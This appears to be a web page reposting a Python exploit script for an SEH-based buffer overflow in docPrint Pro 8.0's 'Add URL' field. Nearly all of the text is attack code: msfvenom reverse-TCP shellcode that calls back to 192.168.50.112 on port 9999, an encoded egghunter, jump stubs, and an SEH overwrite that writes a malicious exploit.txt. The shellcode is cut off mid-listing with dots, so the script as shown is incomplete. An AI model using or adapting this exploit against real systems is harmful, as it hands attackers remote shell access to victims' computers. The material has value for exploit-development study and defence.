Скачать или смотреть docPrint Pro 8.0 Add URL Buffer Overflow SEH Egghunter(SUB&ADD Encode)

#!/usr/bin/python
import struct
#msfvenom -p windows/shell_reverse_tcp -a x86 -b "\x00\x0a\x0d" --platform windows -f py -v shellcode -e x86/alpha_mixed lhost=192.168.50.112 lport=9999
shellcode = b""
shellcode += b"\xdb\xcf\xd9\x74\x24\xf4\x5d\x55\x59\x49\x49"
shellcode += b"\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43"
shellcode += b"\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30"
shellcode += b"\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
shellcode += b"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41"
shellcode += b"\x42\x75\x4a\x49\x69\x6c\x7a\x48\x4d\x52\x57"
shellcode += b"\x70\x65\x50\x35\x50\x63\x50\x4c\x49\x59\x75"
shellcode += b"\x66\x51\x59\x50\x35\x34\x4c\x4b\x62\x70\x54"
shellcode += b"\x70\x4e\x6b\x51\x42\x64\x4c\x4e\x6b\x71\x42"
shellcode += b"\x46\x74\x4e\x6b\x61\x62\x54\x68\x54\x4f\x6e"
shellcode += b"\x57\x51\x5a\x71\x36\x45\x61\x69\x6f\x6c\x6c"
shellcode += b"\x75\x6c\x75\x31\x43\x4c\x45\x52\x54\x6c\x65"
shellcode += b"\x70\x69\x51\x7a\x6f\x46\x6d\x37\x71\x48\x47"
shellcode += b"\x4d\x32\x6b\x42\x73\x62\x52\x77\x6c\x4b\x61"
shellcode += b"\x42\x74\x50\x4e\x6b\x51\x5a\x55\x6c\x6c\x4b"
shellcode += b"\x70\x4c\x72\x31\x33\x48\x69\x73\x32\x68\x46"
shellcode += b"\x61\x6a\x71\x32\x71\x6c\x4b\x51\x49\x67\x50"
shellcode += b"\x55\x51\x68\x53\x4e\x6b\x31\x59\x47\x68\x79"
shellcode += b"\x73\x37\x4a\x62\x69\x4c\x4b\x77\x44\x4c\x4b"
shellcode += b"\x47\x71\x69\x46\x54\x71\x6b\x4f\x6c\x6c\x69"
shellcode += b"\x51\x68\x4f\x76\x6d\x75\x51\x7a\x67\x74\x78"
shellcode += b"\x69\x70\x64\x35\x48\x76\x67\x73\x31\x6d\x78"
shellcode += b"\x78\x77\x4b\x43\x4d\x36\x44\x73\x45\x6b\x54"
shellcode += b"\x51\x48\x6e\x6b\x52\x78\x74\x64\x66\x61\x78"
shellcode += b"\x53\x45\x36\x4e\x6b\x44\x4c\x52\x6b\x4c\x4b"
shellcode += b"\x71\x48\x65\x4c\x65\x51\x6a\x73\x6e\x6b\x36"
shellcode += b"\x64\x6c\x4b\x46\x61\x58\x50\x4e\x69\x31\x54"
shellcode += b"\x51\x34\x64\x64\x53\x6b\x73\x6b\x35\x31\x46"
shellcode += b"\x39\x72\x7a\x73\x61\x39\x6f\x69\x70\x71\x4f"
shellcode += b"\x53\x6f\x32\x7a\x4c\x4b\x56\x72\x68\x6b\x6e"
shellcode += b"\x6d\x33\x6d\x32\x48\x46\x53\x34\x72\x37\x70"
shellcode += b"\x77\x70\x35\x38\x31\x67\x52\x53\x75\x62\x61"
shellcode += b"\x4f\x33\x64\x71\x78\x30\x4c\x53\x47\x44\x66"
shellcode += b"\x53\x37\x39\x6f\x68\x55\x38\x38\x5a\x30\x63"
shellcode += b"\x31\x75\x50\x47\x70\x71\x39\x39\x54\x46\x34"
shellcode += b"\x46\x30\x73\x58\x64\x69\x6f\x70\x52\x4b\x55"
shellcode += b"\x50\x6b\x4f\x68\x55\x66\x30\x72\x70\x72\x70"
shellcode += b"\x42\x70\x53\x70\x66\x30\x71\x50\x66\x30\x35"
shellcode += b"\x38\x6a\x4a\x56\x6f\x39\x4f\x6d\x30\x49\x6f"
shellcode += b"\x7a\x75\x7a\x37\x72\x4a\x35\x55\x42\x48\x39"
shellcode += b"\x50\x6e\x48\x55\x62\x70\x70\x35\x38\x64\x42"
shellcode += b"\x65\x50\x74\x67\x74\x4f\x4f\x79\x4d\x36\x30"
shellcode += b"\x6a\x32\x30.........

egg="saibsaib"

egghunter =b"\x61\x61\x61\x61\x61\x61\x61\x61\x25\x59\x59\x24\x45\x25\x26\x26\x5b\x3a\x2d\x29\x6a\x71\x60\x2d\x2a\x44\x34\x5c\x2d\x38\x6a\x5a\x5b\x50\x25\x47\x48\x22\x53\x25\x38\x37\x5d\x2c\x2d\x5a\x21\x6c\x62\x2d\x7c\x21\x7c\x78\x2d\x7b\x47\x2d\x75\x50\x25\x52\x58\x48\x4c\x25\x2d\x27\x37\x33\x2d\x35\x25\x22\x6b\x2d\x25\x2e\x22\x5d\x2d\x3d\x4a\x32\x60\x50\x25\x55\x47\x43\x46\x25\x2a\x38\x3c\x39\x2d\x74\x79\x33\x30\x2d\x2e\x7a\x27\x23\x2d\x6f\x53\x31\x4b\x50\x25\x49\x4e\x52\x41\x25\x36\x31\x2d\x3e\x2d\x34\x65\x44\x31\x2d\x3e\x3b\x29\x27\x2d\x52\x5a\x38\x33\x50\x25\x45\x50\x24\x49\x25\x3a\x2f\x5b\x36\x2d\x64\x42\x70\x42\x2d\x2a\x2f\x60\x57\x2d\x70\x36\x62\x37\x50\x25\x4e\x4d\x4f\x41\x25\x31\x32\x30\x3e\x2d\x76\x4a\x56\x33\x2d\x36\x2f\x36\x29\x2d\x45\x44\x21\x39\x50\x25\x5a\x4d\x4e\x23\x25\x25\x32\x31\x5c\x2d\x42\x23\x65\x67\x2d\x28\x27\x5c\x28\x2d\x30\x34\x74\x70\x50\x54\xc3"

#0012EFF3 68 58EE1200 PUSH 12EE58
#0012EFF8 C3 RETN
#jmp2="\x68\x58\xEE\x12\x00\xC3"
jmp2="\x61\x61\x25\x46\x51\x46\x4b\x25\x39\x2e\x39\x34\x2d\x64\x6b\x24\x25\x2d\x56\x6f\x29\x27\x2d\x46\x62\x21\x23\x50\x25\x4b\x52\x43\x57\x25\x34\x2d\x3c\x28\x2d\x27\x59\x2b\x62\x2d\x28\x21\x7e\x24\x2d\x49\x2d\x68\x66\x50\x54\xc3"
jmp1="\x43"*(200-len(jmp2))+jmp2
#seh=0x10011874
#nseh="0012F000 ^EB C3"
nseh="\xEB\xC3\x41\x41"
file1="exploit.txt"
seh= struct.pack('＜L',0x10011874)
junk="\x41"*10000
junk="\x41"*(3876-len(jmp1)-len(egghunter))+egghunter+jmp1+nseh+seh+"\x41"*100+egg+shellcode+"\x44"*(10000-3880-4-20-len(shellcode)-len(egg)-len(jmp1))
textfile = open(file1 , 'w')
textfile.write(junk)
textfile.close()